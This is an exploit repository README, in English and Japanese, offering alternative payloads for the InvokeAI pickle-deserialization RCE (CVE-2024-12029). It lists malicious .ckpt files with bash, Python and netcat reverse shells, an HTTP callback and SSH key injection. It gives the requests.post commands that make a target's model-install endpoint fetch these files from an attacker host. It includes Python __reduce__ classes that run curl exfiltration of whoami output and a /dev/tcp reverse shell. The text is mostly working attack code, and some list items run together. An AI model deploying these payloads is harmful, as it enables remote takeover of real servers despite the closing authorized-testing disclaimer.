
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
このリポジトリには、InvokeAIのRCE脆弱性(CVE-2024-12029)に対して、SSHキーインジェクションが失敗した場合の代替ペイロードアプローチが含まれています。ペイロードは、pickle逆シリアル化が実際に行われているかどうかをテストし、代替アクセス方法を提供するように設計されています。
SSHキーインジェクションペイロードが正常に配信された(ステータス201)にもかかわらず、SSHアクセスに依然としてパスワードが必要な場合、次のいずれかを示しています。
payload_reverse_bash.ckpt (89バイト) - Bashリバースシェルpayload_reverse_python.ckpt (267バイト) - Pythonリバースシェルpayload_reverse_nc.ckpt (70バイト) - Netcatリバースシェルpayload_callback_test.ckpt (115バイト) - 逆シリアル化を検証するHTTPコールバックpayload_test.ckpt (90バイト) - 簡易ファイル作成テストpayload_alt_exec.ckpt (223バイト) - 代替実行方法payload_ssh_simple.ckpt (271バイト) - Linux互換のSSHキーインジェクションkali_reverse_test.py - 包括的なテストスイートreverse_shell_payload.py - リバースシェルペイロードの生成python web_server.py --port 8000
# kali_reverse_test.pyをKaliにコピーして実行:
python3 kali_reverse_test.py
# オプション1を選択してコールバックをテスト
# Kaliでリスナーを起動:
nc -lvnp 4444
# リバースシェルペイロードを送信:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# 基本コマンド実行のテスト:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# ファイル作成の確認:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txtclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load() の脆弱性このリポジトリは教育目的および許可されたセキュリティテスト目的でのみ使用されます。ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任を負います。